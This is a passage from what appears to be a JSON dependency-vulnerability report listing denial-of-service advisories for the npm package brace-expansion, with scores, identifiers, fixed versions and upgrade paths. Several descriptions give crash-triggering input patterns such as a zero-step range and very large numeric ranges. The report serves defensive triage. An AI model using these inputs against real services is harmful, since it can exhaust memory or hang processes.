exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 